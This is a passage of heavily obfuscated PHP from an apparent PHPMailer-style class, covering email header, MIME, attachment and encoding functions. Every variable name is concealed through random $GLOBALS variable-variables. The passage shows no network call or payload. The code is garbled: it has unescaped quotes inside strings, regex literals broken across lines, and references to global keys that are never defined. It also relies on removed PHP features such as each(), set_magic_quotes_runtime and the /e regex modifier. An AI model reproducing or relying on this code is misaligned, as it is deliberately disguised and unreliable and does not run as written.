$jtbloupikv = "result";
${"GLOBALS"}["iwiiuvbw"] = "index";
$zumgbrjmzo = "index";
${$jtbloupikv} .= $this->HeaderLine(
trim($this->CustomHeader[${$zumgbrjmzo}][0]),
$this->EncodeHeader(
trim(
$this->CustomHeader[${${"GLOBALS"}["iwiiuvbw"]}][1]
)
)
);
}
if (!$this->sign_key_file) {
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"MIME-Version",
"1.0"
);
${${"GLOBALS"}["bpaotwhm"]} .= $this->GetMailMIME();
}
return ${${"GLOBALS"}["gtjroqlxxm"]};
}
function GetMailMIME()
{
$lctfwgs = "result";
${"GLOBALS"}["psprtfdwlvw"] = "result";
${"GLOBALS"}["nqlxuytf"] = "result";
${$lctfwgs} = "";
switch ($this->message_type) {
case "plain":
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Content-Transfer-Encoding",
$this->Encoding
);
${${"GLOBALS"}["psprtfdwlvw"]} .= sprintf(
"Content-Type: %s; charset=\"%s\"",
$this->ContentType,
$this->CharSet
);
break;
case "attachments":
case "alt_attachments":
if ($this->InlineImageExists()) {
${${"GLOBALS"}["bpaotwhm"]} .= sprintf(
"Content-Type: %s;%s type="text/html";%s boundary=\"%s\"%s",
"multipart/related",
$this->LE,
$this->LE,
$this->boundary[1],
$this->LE
);
} else {
${"GLOBALS"}["bsmumpea"] = "result";
${${"GLOBALS"}["bpaotwhm"]} .= $this->HeaderLine(
"Content-Type",
"multipart/mixed;"
);
${${"GLOBALS"}["bsmumpea"]} .= $this->TextLine(
" boundary="" . $this->boundary[1] . """
);
}
break;
case "alt":
${${"GLOBALS"}["nqlxuytf"]} .= $this->HeaderLine(
"Content-Type",
"multipart/alternative;"
);
${${"GLOBALS"}["bpaotwhm"]} .= $this->TextLine(
" boundary=\"" . $this->boundary[1] . "\""
);
break;
}
${"GLOBALS"}["zrlxuej"] = "result";
if ($this->Mailer != "mail") {
$bobixtu = "result";
${$bobixtu} .= $this->LE . $this->LE;
}
return ${${"GLOBALS"}["zrlxuej"]};
}
function CreateBody()
{
${"GLOBALS"}["ozizfvlvha"] = "result";
$wyxfecqihcmh = "result";
${"GLOBALS"}["xpznsugj"] = "result";
${"GLOBALS"}["cjopmqjxobf"] = "result";
${${"GLOBALS"}["xpznsugj"]} = "";
${"GLOBALS"}["mjooabduoxvf"] = "result";
$incgkrzm = "result";
${"GLOBALS"}["hzhhrrpce"] = "result";
if ($this->sign_key_file) {
${${"GLOBALS"}["bpaotwhm"]} .= $this->GetMailMIME();
}
$oqvkbcfuk = "result";
${"GLOBALS"}["wwlylvxumowo"] = "result";
$this->SetWordWrap();
${"GLOBALS"}["fmtoouet"] = "result";
$rqczrui = "result";
${"GLOBALS"}["dorfnbxhl"] = "result";
${"GLOBALS"}["grwtgjd"] = "result";
$lmpotqp = "result";
switch ($this->message_type) {
case "alt":
${${"GLOBALS"}["wwlylvxumowo"]} .= $this->GetBoundary(
$this->boundary[1],
"",
"text/plain",
""
);
${$oqvkbcfuk} .= $this->EncodeString(
$this->AltBody,
$this->Encoding
);
${${"GLOBALS"}["grwtgjd"]} .= $this->LE . $this->LE;
${${"GLOBALS"}["bpaotwhm"]} .= $this->GetBoundary(
$this->boundary[1],
"",
"text/html",
""
);
${${"GLOBALS"}["bpaotwhm"]} .= $this->EncodeString(
$this->Body,
$this->Encoding
);
${${"GLOBALS"}["mjooabduoxvf"]} .= $this->LE . $this->LE;
${${"GLOBALS"}["hzhhrrpce"]} .= $this->EndBoundary(
$this->boundary[1]
);
break;
case "plain":
${${"GLOBALS"}["ozizfvlvha"]} .= $this->EncodeString(
$this->Body,
$this->Encoding
);
break;
case "attachments":
${${"GLOBALS"}["cjopmqjxobf"]} .= $this->GetBoundary(
$this->boundary[1],
"",
"",
""
);
${$incgkrzm} .= $this->EncodeString(
$this->Body,
$this->Encoding
);
${${"GLOBALS"}["bpaotwhm"]} .= $this->LE;
${${"GLOBALS"}["bpaotwhm"]} .= $this->AttachAll();
break;
case "alt_attachments":
${$lmpotqp} .= sprintf(
"--%s%s",
$this->boundary[1],
$this->LE
);
${${"GLOBALS"}["dorfnbxhl"]} .= sprintf(
"Content-Type: %s;%s" . " boundary=\"%s\"%s",
"multipart/alternative",
$this->LE,
$this->boundary[2],
$this->LE . $this->LE
);
${${"GLOBALS"}["bpaotwhm"]} .=
$this->GetBoundary(
$this->boundary[2],
"",
"text/plain",
""
) . $this->LE;
${$wyxfecqihcmh} .= $this->EncodeString(
$this->AltBody,
$this->Encoding
);
${${"GLOBALS"}["bpaotwhm"]} .= $this->LE . $this->LE;
${${"GLOBALS"}["bpaotwhm"]} .=
$this->GetBoundary(
$this->boundary[2],
"",
"text/html",
""
) . $this->LE;
${${"GLOBALS"}["bpaotwhm"]} .= $this->EncodeString(
$this->Body,
$this->Encoding
);
${${"GLOBALS"}["bpaotwhm"]} .= $this->LE . $this->LE;
${${"GLOBALS"}["bpaotwhm"]} .= $this->EndBoundary(
$this->boundary[2]
);
${$rqczrui} .= $this->AttachAll();
break;
}
if ($this->IsError()) {
${"GLOBALS"}["qxirsjls"] = "result";
${${"GLOBALS"}["qxirsjls"]} = "";
} elseif ($this->sign_key_file) {
${"GLOBALS"}["nsclrdyxp"] = "file";
${"GLOBALS"}["oiotxqtnpsa"] = "fp";
${"GLOBALS"}["syegzdl"] = "fp";
${"GLOBALS"}["wdhesxegrlv"] = "signed";
$qqepyjo = "signed";
${"GLOBALS"}["jccgymwuqu"] = "file";
${"GLOBALS"}["glxzktnt"] = "file";
${"GLOBALS"}["vqldfxazp"] = "signed";
${${"GLOBALS"}["jccgymwuqu"]} = tempnam("", "mail");
${${"GLOBALS"}["suktuyy"]} = fopen(
${${"GLOBALS"}["nsclrdyxp"]},
"w"
);
fwrite(
${${"GLOBALS"}["oiotxqtnpsa"]},
${${"GLOBALS"}["bpaotwhm"]}
);
fclose(${${"GLOBALS"}["syegzdl"]});
${$qqepyjo} = tempnam("", "signed");
if (
@openssl_pkcs7_sign(
${${"GLOBALS"}["glxzktnt"]},
${${"GLOBALS"}["wdhesxegrlv"]},
"file://" . $this->sign_key_file,
[
"file://" . $this->sign_key_file,
$this->sign_key_pass,
],
null
)
) {
${"GLOBALS"}["afjtofu"] = "fp";
$mctelsvos = "result";
${"GLOBALS"}["swwulotbfuj"] = "signed";
${${"GLOBALS"}["suktuyy"]} = fopen(
${${"GLOBALS"}["swwulotbfuj"]},
"r"
);
${$mctelsvos} = fread(
${${"GLOBALS"}["suktuyy"]},
filesize($this->sign_key_file)
);
fclose(${${"GLOBALS"}["afjtofu"]});
} else {
${"GLOBALS"}["yihbxetc"] = "result";
$this->SetError(
$this->Lang("signing") . openssl_error_string()
);
${${"GLOBALS"}["yihbxetc"]} = "";
}
unlink(${${"GLOBALS"}["exbrbrhn"]});
unlink(${${"GLOBALS"}["vqldfxazp"]});
}
return ${${"GLOBALS"}["fmtoouet"]};
}
function GetBoundary($boundary, $charSet, $contentType, $encoding)
{
${"GLOBALS"}["ryesufusz"] = "contentType";
$shgmwylb = "result";
${"GLOBALS"}["fnhvebs"] = "result";
$hobhnqt = "result";
${$hobhnqt} = "";
if (${${"GLOBALS"}["fzbwacgiihth"]} == "") {
${${"GLOBALS"}["fzbwacgiihth"]} = $this->CharSet;
}
${"GLOBALS"}["xrbuhclngxv"] = "result";
if (${${"GLOBALS"}["ryesufusz"]} == "") {
$zetppexpjlv = "contentType";
${$zetppexpjlv} = $this->ContentType;
}
$xsgovok = "contentType";
if (${${"GLOBALS"}["diafxfqg"]} == "") {
${${"GLOBALS"}["diafxfqg"]} = $this->Encoding;
}
$pucuxkm = "result";
${$shgmwylb} .= $this->TextLine("--" . ${${"GLOBALS"}["qprrpd"]});
${$pucuxkm} .= sprintf(
"Content-Type: %s; charset = "%s"",
${$xsgovok},
${${"GLOBALS"}["fzbwacgiihth"]}
);
${${"GLOBALS"}["xrbuhclngxv"]} .= $this->LE;
${${"GLOBALS"}["fnhvebs"]} .= $this->HeaderLine(
"Content-Transfer-Encoding",
${${"GLOBALS"}["diafxfqg"]}
);
${"GLOBALS"}["ttbddzrtvhis"] = "result";
${${"GLOBALS"}["bpaotwhm"]} .= $this->LE;
return ${${"GLOBALS"}["ttbddzrtvhis"]};
}
function EndBoundary($boundary)
{
return $this->LE .
"--" .
${${"GLOBALS"}["qprrpd"]} .
"--" .
$this->LE;
}
function SetMessageType()
{
if (count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
$this->message_type = "plain";
} else {
if (count($this->attachment) > 0) {
$this->message_type = "attachments";
}
if (
strlen($this->AltBody) > 0 &&
count($this->attachment) < 1
) {
$this->message_type = "alt";
}
if (
strlen($this->AltBody) > 0 &&
count($this->attachment) > 0
) {
$this->message_type = "alt_attachments";
}
}
}
function HeaderLine($name, $value)
{
${"GLOBALS"}["fhepcwla"] = "value";
return ${${"GLOBALS"}["qucmytgisy"]} .
": " .
${${"GLOBALS"}["fhepcwla"]} .
$this->LE;
}
function TextLine($value)
{
return ${${"GLOBALS"}["sclnzlylrg"]} . $this->LE;
}
function AddAttachment(
$path,
$name = "",
$encoding = "base64",
$type = "application/octet-stream"
) {
${"GLOBALS"}["hbubscn"] = "cur";
${"GLOBALS"}["qmsrbnnzvjo"] = "filename";
$wxckjqie = "path";
${"GLOBALS"}["itttsiastl"] = "encoding";
$xhbcdk = "path";
if (!@is_file(${${"GLOBALS"}["djncwmkes"]})) {
$this->SetError(
$this->Lang("file_access") . ${${"GLOBALS"}["djncwmkes"]}
);
return false;
}
${"GLOBALS"}["ihykco"] = "name";
${"GLOBALS"}["bhqxtxv"] = "cur";
$tvjhhyk = "cur";
${${"GLOBALS"}["qmsrbnnzvjo"]} = basename(${$wxckjqie});
if (${${"GLOBALS"}["ihykco"]} == "") {
${"GLOBALS"}["lvyldrsn"] = "filename";
${${"GLOBALS"}["qucmytgisy"]} = ${${"GLOBALS"}["lvyldrsn"]};
}
${$tvjhhyk} = count($this->attachment);
$this->attachment[${${"GLOBALS"}["bhqxtxv"]}][0] = ${$xhbcdk};
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][1] = ${${"GLOBALS"}["gbjredusznc"]};
$this->attachment[${${"GLOBALS"}["hbubscn"]}][2] = ${${"GLOBALS"}[
"qucmytgisy"
]};
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][3] = ${${"GLOBALS"}["itttsiastl"]};
$this->attachment[
${${"GLOBALS"}["bvhqwwzlhry"]}
][4] = ${${"GLOBALS"}["idvydcuot"]};
$this->attachment[${${"GLOBALS"}["bvhqwwzlhry"]}][5] = false;
${"GLOBALS"}["ouxjlrqfrbh"] = "cur";
$this->attachment[${${"GLOBALS"}["bvhqwwzlhry"]}][6] = "attachment";
$this->attachment[${${"GLOBALS"}["ouxjlrqfrbh"]}][7] = 0;
return true;
}
function AttachAll()
{
${"GLOBALS"}["pmflktpdnb"] = "mime";
${${"GLOBALS"}["hfnvcruiaew"]} = [];
${"GLOBALS"}["sxdkrpdu"] = "mime";
${"GLOBALS"}["owwyhtlb"] = "i";
for (
${${"GLOBALS"}["khvroce"]} = 0;
${${"GLOBALS"}["owwyhtlb"]} < count($this->attachment);
${${"GLOBALS"}["khvroce"]}++
) {
$fsmhgw = "filename";
$swlnokfdowh = "name";
$pisixvsqapi = "disposition";
$ecgimdhmv = "name";
${"GLOBALS"}["flxgop"] = "cid";
${"GLOBALS"}["divuwnzyc"] = "encoding";
$wnrmzekss = "encoding";
$wbmpdfo = "mime";
$fnwabrgoik = "bString";
$ygindgxkinjc = "mime";
$hpoohncmdl = "bString";
${${"GLOBALS"}["iuiokub"]} =
$this->attachment[${${"GLOBALS"}["khvroce"]}][5];
${"GLOBALS"}["whjtpduhx"] = "i";
if (${$hpoohncmdl}) {
$twnelysiybi = "string";
${$twnelysiybi} =
$this->attachment[${${"GLOBALS"}["khvroce"]}][0];
} else {
$jfywdcptd = "path";
$iogpsqygw = "i";
${$jfywdcptd} = $this->attachment[${$iogpsqygw}][0];
}
${$fsmhgw} = $this->attachment[${${"GLOBALS"}["khvroce"]}][1];
${$swlnokfdowh} =
$this->attachment[${${"GLOBALS"}["khvroce"]}][2];
$gldcnsv = "mime";
${${"GLOBALS"}["divuwnzyc"]} =
$this->attachment[${${"GLOBALS"}["khvroce"]}][3];
$llxxqtsvtz = "disposition";
${"GLOBALS"}["rkvmlnyfort"] = "name";
${${"GLOBALS"}["idvydcuot"]} =
$this->attachment[${${"GLOBALS"}["khvroce"]}][4];
${"GLOBALS"}["qfgzjxwxlfa"] = "i";
${$pisixvsqapi} =
$this->attachment[${${"GLOBALS"}["whjtpduhx"]}][6];
${${"GLOBALS"}["flxgop"]} =
$this->attachment[${${"GLOBALS"}["qfgzjxwxlfa"]}][7];
${${"GLOBALS"}["hfnvcruiaew"]}[] = sprintf(
"--%s%s",
$this->boundary[1],
$this->LE
);
${$gldcnsv}[] = sprintf(
"Content-Type: %s; name=\"%s\"%s",
${${"GLOBALS"}["idvydcuot"]},
${${"GLOBALS"}["rkvmlnyfort"]},
$this->LE
);
${$wbmpdfo}[] = sprintf(
"Content-Transfer-Encoding: %s%s",
${$wnrmzekss},
$this->LE
);
if (${${"GLOBALS"}["noamqogutb"]} == "inline") {
$lpkyxhnr = "mime";
${$lpkyxhnr}[] = sprintf(
"Content-ID: <%s>%s",
${${"GLOBALS"}["ecbuvrqed"]},
$this->LE
);
}
${$ygindgxkinjc}[] = sprintf(
"Content-Disposition: %s; filename="%s"%s",
${$llxxqtsvtz},
${$ecgimdhmv},
$this->LE . $this->LE
);
if (${$fnwabrgoik}) {
$kduudglvesm = "mime";
$ohptpysjqt = "string";
$ohxbrexmot = "mime";
${"GLOBALS"}["dyjiakdhgpqz"] = "encoding";
${$kduudglvesm}[] = $this->EncodeString(
${$ohptpysjqt},
${${"GLOBALS"}["dyjiakdhgpqz"]}
);
if ($this->IsError()) {
return "";
}
${$ohxbrexmot}[] = $this->LE . $this->LE;
} else {
${"GLOBALS"}["dtltitx"] = "encoding";
${"GLOBALS"}["bfxoobci"] = "path";
${${"GLOBALS"}["hfnvcruiaew"]}[] = $this->EncodeFile(
${${"GLOBALS"}["bfxoobci"]},
${${"GLOBALS"}["dtltitx"]}
);
if ($this->IsError()) {
return "";
}
${${"GLOBALS"}["hfnvcruiaew"]}[] = $this->LE . $this->LE;
}
}
${${"GLOBALS"}["sxdkrpdu"]}[] = sprintf(
"--%s--%s",
$this->boundary[1],
$this->LE
);
return join("", ${${"GLOBALS"}["pmflktpdnb"]});
}
function EncodeFile($path, $encoding = "base64")
{
${"GLOBALS"}["ktsbslglb"] = "fd";
${"GLOBALS"}["egokksf"] = "magic_quotes";
${"GLOBALS"}["dzobtkvtj"] = "path";
$trxndqhyn = "file_buffer";
if (
!@${${"GLOBALS"}["gfrvwlppl"]} = fopen(
${${"GLOBALS"}["dzobtkvtj"]},
"rb"
)
) {
${"GLOBALS"}["wnyjdhfuemg"] = "path";
$this->SetError(
$this->Lang("file_open") . ${${"GLOBALS"}["wnyjdhfuemg"]}
);
return "";
}
${"GLOBALS"}["ehcgtqhwfo"] = "magic_quotes";
${"GLOBALS"}["kxzwervmht"] = "encoding";
${${"GLOBALS"}["egokksf"]} = get_magic_quotes_runtime();
set_magic_quotes_runtime(0);
${$trxndqhyn} = fread(
${${"GLOBALS"}["ktsbslglb"]},
filesize(${${"GLOBALS"}["djncwmkes"]})
);
${${"GLOBALS"}["jsvxfwjjvx"]} = $this->EncodeString(
${${"GLOBALS"}["jsvxfwjjvx"]},
${${"GLOBALS"}["kxzwervmht"]}
);
${"GLOBALS"}["uncygovjngh"] = "fd";
fclose(${${"GLOBALS"}["uncygovjngh"]});
set_magic_quotes_runtime(${${"GLOBALS"}["ehcgtqhwfo"]});
return ${${"GLOBALS"}["jsvxfwjjvx"]};
}
function EncodeString($str, $encoding = "base64")
{
$wrcidnqphtv = "encoded";
${"GLOBALS"}["jjpojyplin"] = "encoded";
$ijpokuvwdvb = "encoded";
$kcryaxajpjm = "encoded";
${"GLOBALS"}["pqvdfchjdq"] = "encoding";
${${"GLOBALS"}["bclnpxve"]} = "";
switch (strtolower(${${"GLOBALS"}["diafxfqg"]})) {
case "base64":
${${"GLOBALS"}["bclnpxve"]} = chunk_split(
base64_encode(${${"GLOBALS"}["ywijtjvmje"]}),
76,
$this->LE
);
break;
case "7bit":
case "8bit":
${${"GLOBALS"}["bclnpxve"]} = $this->FixEOL(
${${"GLOBALS"}["ywijtjvmje"]}
);
if (
substr(
${${"GLOBALS"}["bclnpxve"]},
-strlen($this->LE)
) != $this->LE
) {
${${"GLOBALS"}["jjpojyplin"]} .= $this->LE;
}
break;
case "binary":
${$wrcidnqphtv} = ${${"GLOBALS"}["ywijtjvmje"]};
break;
case "quoted-printable":
${$kcryaxajpjm} = $this->EncodeQP(
${${"GLOBALS"}["ywijtjvmje"]}
);
break;
default:
$this->SetError(
$this->Lang("encoding") . ${${"GLOBALS"}["pqvdfchjdq"]}
);
break;
}
return ${$ijpokuvwdvb};
}
function EncodeHeader($str, $position = "text")
{
$naxiyglryb = "str";
$tmbtooudux = "str";
$ajndqddh = "x";
${"GLOBALS"}["vwvjnlcqy"] = "x";
${${"GLOBALS"}["oymuydkkqw"]} = 0;
${"GLOBALS"}["pfjlbdpmhr"] = "str";
switch (strtolower(${${"GLOBALS"}["dsxvuybnptmj"]})) {
case "phrase":
if (
!preg_match(
"/[\200-\377]/",
${${"GLOBALS"}["ywijtjvmje"]}
)
) {
${"GLOBALS"}["kytjmasodcxi"] = "encoded";
${"GLOBALS"}["dpmthqjgcv"] = "str";
${${"GLOBALS"}["kytjmasodcxi"]} = addcslashes(
${${"GLOBALS"}["ywijtjvmje"]},
"..\""
);
${"GLOBALS"}["buunuocmxv"] = "encoded";
if (
${${"GLOBALS"}["dpmthqjgcv"]} ==
${${"GLOBALS"}["buunuocmxv"]} &&
!preg_match(
"/[^A-Za-z0-9!#\$%&'*+\/=?^_`{|}~ -]/",
${${"GLOBALS"}["ywijtjvmje"]}
)
) {
return ${${"GLOBALS"}["bclnpxve"]};
} else {
return ""$encoded"";
}
}
${${"GLOBALS"}["oymuydkkqw"]} = preg_match_all(
"/[^\ \!\#-\[]-\~]/",
${${"GLOBALS"}["pfjlbdpmhr"]},
${${"GLOBALS"}["paiceqr"]}
);
break;
case "comment":
${${"GLOBALS"}["oymuydkkqw"]} = preg_match_all(
"/[()"]/",
${$tmbtooudux},
${${"GLOBALS"}["paiceqr"]}
);
case "text":
default:
${$ajndqddh} += preg_match_all(
"/[-\\016-\037-\377]/",
${$naxiyglryb},
${${"GLOBALS"}["paiceqr"]}
);
break;
}
if (${${"GLOBALS"}["oymuydkkqw"]} == 0) {
$fitklqbe = "str";
return ${$fitklqbe};
}
$ccpfce = "encoded";
$wrdcihfcmpe = "encoded";
${${"GLOBALS"}["hcdslozolxke"]} = 75 - 7 - strlen($this->CharSet);
${"GLOBALS"}["qkibkobw"] = "encoded";
if (
strlen(${${"GLOBALS"}["ywijtjvmje"]}) / 3 <
${${"GLOBALS"}["vwvjnlcqy"]}
) {
${"GLOBALS"}["lmvnnhkgh"] = "str";
${${"GLOBALS"}["diafxfqg"]} = "B";
if (
function_exists("mb_strlen") &&
$this->HasMultiBytes(${${"GLOBALS"}["lmvnnhkgh"]})
) {
$ucggolqtlzn = "str";
${${"GLOBALS"}["bclnpxve"]} = $this->Base64EncodeWrapMB(
${$ucggolqtlzn}
);
} else {
$bekhbbxz = "str";
${"GLOBALS"}["chgvxw"] = "maxlen";
${"GLOBALS"}["gsljjszt"] = "encoded";
$kmyjbrc = "maxlen";
${${"GLOBALS"}["bclnpxve"]} = base64_encode(${$bekhbbxz});
${"GLOBALS"}["rqwntgsuheh"] = "maxlen";
$ocicbmy = "encoded";
${${"GLOBALS"}["chgvxw"]} -= ${$kmyjbrc} % 4;
${${"GLOBALS"}["gsljjszt"]} = trim(
chunk_split(
${$ocicbmy},
${${"GLOBALS"}["rqwntgsuheh"]},
"
"
)
);
}
} else {
${"GLOBALS"}["qrqxsoqw"] = "encoded";
${"GLOBALS"}["ysghpyhe"] = "encoded";
${${"GLOBALS"}["diafxfqg"]} = "Q";
${"GLOBALS"}["egduuevri"] = "maxlen";
$chtxhn = "encoded";
${${"GLOBALS"}["bclnpxve"]} = $this->EncodeQ(
${${"GLOBALS"}["ywijtjvmje"]},
${${"GLOBALS"}["dsxvuybnptmj"]}
);
${${"GLOBALS"}["bclnpxve"]} = $this->WrapText(
${$chtxhn},
${${"GLOBALS"}["egduuevri"]},
true
);
${${"GLOBALS"}["ysghpyhe"]} = str_replace(
"=" . $this->LE,
"
",
trim(${${"GLOBALS"}["qrqxsoqw"]})
);
}
${${"GLOBALS"}["bclnpxve"]} = preg_replace(
"/^(.*)\$/m",
" =?" . $this->CharSet . "?$encoding??=",
${$ccpfce}
);
${${"GLOBALS"}["bclnpxve"]} = trim(
str_replace("
", $this->LE, ${${"GLOBALS"}["qkibkobw"]})
);
return ${$wrdcihfcmpe};
}
function HasMultiBytes($str)
{
if (function_exists("mb_strlen")) {
${"GLOBALS"}["bfeisvmgkurr"] = "str";
return strlen(${${"GLOBALS"}["ywijtjvmje"]}) >
mb_strlen(${${"GLOBALS"}["bfeisvmgkurr"]}, $this->CharSet);
} else {
return false;
}
}
function Base64EncodeWrapMB($str)
{
$vkjqamoxqxb = "encoded";
${${"GLOBALS"}["zfdvvckjp"]} = "=?" . $this->CharSet . "?B?";
${"GLOBALS"}["mvclivtjx"] = "mb_length";
${"GLOBALS"}["hthgiarjvo"] = "end";
${"GLOBALS"}["hzljiolpe"] = "end";
$zglsdo = "mb_length";
${"GLOBALS"}["bousdloh"] = "ratio";
${${"GLOBALS"}["hthgiarjvo"]} = "?=";
$xfaiinrlsa = "i";
${"GLOBALS"}["ohmyuusuzuxc"] = "i";
${$vkjqamoxqxb} = "";
${"GLOBALS"}["rpiumqix"] = "encoded";
${${"GLOBALS"}["mvclivtjx"]} = mb_strlen(
${${"GLOBALS"}["ywijtjvmje"]},
$this->CharSet
);
${${"GLOBALS"}["krcegmdfvub"]} =
75 -
strlen(${${"GLOBALS"}["zfdvvckjp"]}) -
strlen(${${"GLOBALS"}["hzljiolpe"]});
${${"GLOBALS"}["bousdloh"]} =
${${"GLOBALS"}["hlsilrjrjo"]} /
strlen(${${"GLOBALS"}["ywijtjvmje"]});
${${"GLOBALS"}["dgafourxl"]} = ${${"GLOBALS"}[
"bdgsxqrqjyo"
]} = floor(
${${"GLOBALS"}["krcegmdfvub"]} *
${${"GLOBALS"}["ffcjzhf"]} *
0.75
);
for (
${${"GLOBALS"}["ohmyuusuzuxc"]} = 0;
${$xfaiinrlsa} < ${$zglsdo};
${${"GLOBALS"}["khvroce"]} += ${${"GLOBALS"}["dgafourxl"]}
) {
${"GLOBALS"}["mcwixts"] = "lookBack";
$fzuqxm = "chunk";
${${"GLOBALS"}["mcwixts"]} = 0;
${"GLOBALS"}["lpwoczibb"] = "encoded";
do {
${${"GLOBALS"}["dgafourxl"]} =
${${"GLOBALS"}["bdgsxqrqjyo"]} -
${${"GLOBALS"}["mmbogfbse"]};
${"GLOBALS"}["gggokvdusr"] = "chunk";
$guwmyvnxfkw = "chunk";
${${"GLOBALS"}["bcopwgsj"]} = mb_substr(
${${"GLOBALS"}["ywijtjvmje"]},
${${"GLOBALS"}["khvroce"]},
${${"GLOBALS"}["dgafourxl"]},
$this->CharSet
);
${$guwmyvnxfkw} = base64_encode(
${${"GLOBALS"}["gggokvdusr"]}
);
${${"GLOBALS"}["mmbogfbse"]}++;
} while (
strlen(${${"GLOBALS"}["bcopwgsj"]}) >
${${"GLOBALS"}["krcegmdfvub"]}
);
${${"GLOBALS"}["lpwoczibb"]} .= ${$fzuqxm} . $this->LE;
}
${${"GLOBALS"}["bclnpxve"]} = substr(
${${"GLOBALS"}["rpiumqix"]},
0,
-strlen($this->LE)
);
return ${${"GLOBALS"}["bclnpxve"]};
}
function EncodeQP($input = "", $line_max = 76, $space_conv = false)
{
$sypkjgdsibbd = "hex";
${$sypkjgdsibbd} = [
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"A",
"B",
"C",
"D",
"E",
"F",
];
${"GLOBALS"}["ljlywyswv"] = "lines";
${${"GLOBALS"}["nfkfyewllck"]} = preg_split(
"/(?:
|\r|\n)/",
${${"GLOBALS"}["rrxykxuruwo"]}
);
${"GLOBALS"}["iwachl"] = "eol";
${${"GLOBALS"}["iwachl"]} = "
";
${${"GLOBALS"}["glazwpnuv"]} = "=";
$gpinofzqqdo = "output";
${${"GLOBALS"}["cljvcw"]} = "";
while (
list(, ${${"GLOBALS"}["zeplfdp"]}) = each(
${${"GLOBALS"}["ljlywyswv"]}
)
) {
${${"GLOBALS"}["okzkmnu"]} = strlen(${${"GLOBALS"}["zeplfdp"]});
$krhhmhyrw = "i";
$trneqxnjvpj = "newline";
${"GLOBALS"}["ncnumfvy"] = "i";
${${"GLOBALS"}["jhuugegy"]} = "";
for (
${${"GLOBALS"}["ncnumfvy"]} = 0;
${$krhhmhyrw} < ${${"GLOBALS"}["okzkmnu"]};
${${"GLOBALS"}["khvroce"]}++
) {
${"GLOBALS"}["tzwtyjno"] = "dec";
$mlvdoegddi = "c";
$elcimgef = "i";
$orykgpswexs = "c";
$mugcacxhe = "i";
${"GLOBALS"}["vbkclwtcn"] = "newline";
${${"GLOBALS"}["pwhiqbdulrrw"]} = substr(
${${"GLOBALS"}["zeplfdp"]},
${$mugcacxhe},
1
);
${${"GLOBALS"}["oafvjqenxo"]} = ord(${$orykgpswexs});
${"GLOBALS"}["pljoqktbev"] = "dec";
if (
${$elcimgef} == 0 &&
${${"GLOBALS"}["oafvjqenxo"]} == 46
) {
${"GLOBALS"}["vuidysqjt"] = "c";
${${"GLOBALS"}["vuidysqjt"]} = "=2E";
}
${"GLOBALS"}["bvlpnaz"] = "newline";
if (${${"GLOBALS"}["oafvjqenxo"]} == 32) {
${"GLOBALS"}["uvnkdlviwm"] = "space_conv";
$rhjscm = "i";
if (${$rhjscm} == ${${"GLOBALS"}["okzkmnu"]} - 1) {
${${"GLOBALS"}["pwhiqbdulrrw"]} = "=20";
} elseif (${${"GLOBALS"}["uvnkdlviwm"]}) {
${${"GLOBALS"}["pwhiqbdulrrw"]} = "=20";
}
} elseif (
${${"GLOBALS"}["tzwtyjno"]} == 61 ||
${${"GLOBALS"}["pljoqktbev"]} < 32 ||
${${"GLOBALS"}["oafvjqenxo"]} > 126
) {
${"GLOBALS"}["teghhingke"] = "h2";
${"GLOBALS"}["kpunsoyuy"] = "dec";
${"GLOBALS"}["ybucnoizjn"] = "h1";
$qijqdegiav = "escape";
$mtjyqhu = "dec";
${${"GLOBALS"}["teghhingke"]} = floor(
${${"GLOBALS"}["kpunsoyuy"]} / 16
);
$bbmrgvbyjq = "h2";
${${"GLOBALS"}["ybucnoizjn"]} = floor(${$mtjyqhu} % 16);
${${"GLOBALS"}["pwhiqbdulrrw"]} =
${$qijqdegiav} .
${${"GLOBALS"}["supqnmmhraf"]}[${$bbmrgvbyjq}] .
${${"GLOBALS"}["supqnmmhraf"]}[
${${"GLOBALS"}["esyuoqavlqe"]}
];
}
if (
strlen(${${"GLOBALS"}["bvlpnaz"]}) +
strlen(${$mlvdoegddi}) >=
${${"GLOBALS"}["outfvakj"]}
) {
$gcfcrdnvnxv = "output";
${"GLOBALS"}["nahnrqknsd"] = "escape";
$wluiudcdswq = "newline";
$repdvxlse = "eol";
${$gcfcrdnvnxv} .=
${${"GLOBALS"}["jhuugegy"]} .
${${"GLOBALS"}["nahnrqknsd"]} .
${$repdvxlse};
${$wluiudcdswq} = "";
if (${${"GLOBALS"}["oafvjqenxo"]} == 46) {
${${"GLOBALS"}["pwhiqbdulrrw"]} = "=2E";
}
}
${${"GLOBALS"}["vbkclwtcn"]} .= ${${"GLOBALS"}[
"pwhiqbdulrrw"
]};
}
${"GLOBALS"}["gyrpmqo"] = "output";
${${"GLOBALS"}["gyrpmqo"]} .=
${$trneqxnjvpj} . ${${"GLOBALS"}["qekjpjlu"]};
}
return trim(${$gpinofzqqdo});
}
function EncodeQ($str, $position = "text")
{
$txnswae = "str";
${"GLOBALS"}["kmpqwboek"] = "encoded";
$kajrims = "encoded";
${"GLOBALS"}["xvwlhh"] = "encoded";
${"GLOBALS"}["ignnroktf"] = "encoded";
${"GLOBALS"}["ayvkjmu"] = "encoded";
${"GLOBALS"}["boxpjtrfl"] = "encoded";
${${"GLOBALS"}["kmpqwboek"]} = preg_replace(
"[
]",
"",
${$txnswae}
);
switch (strtolower(${${"GLOBALS"}["dsxvuybnptmj"]})) {
case "phrase":
${${"GLOBALS"}["xvwlhh"]} = preg_replace(
"/([^A-Za-z0-9!*+\/ -])/e",
"'='.sprintf('%02X', ord(''))",
${$kajrims}
);
break;
case "comment":
${${"GLOBALS"}["ignnroktf"]} = preg_replace(
"/([\(\)\"])/e",
"'='.sprintf('%02X', ord(''))",
${${"GLOBALS"}["bclnpxve"]}
);
case "text":
default:
${${"GLOBALS"}["boxpjtrfl"]} = preg_replace(
"/([-\ \\016-\037\=\?\_\177-])/e",
"'='.sprintf('%02X', ord(''))",
${${"GLOBALS"}["bclnpxve"]}
);
break;
}
${${"GLOBALS"}["bclnpxve"]} = str_replace(
" ",
"_",
${${"GLOBALS"}["bclnpxve"]}
);
return ${${"GLOBALS"}["ayvkjmu"]};
}
function AddStringAttachment(
$string,
$filename,
$encoding = "base64",
$type = "application/octet-stream"
) {
$uxrryphxbn = "cur";
${$uxrryphxbn} = count($this->attachment);
$this->attachment[
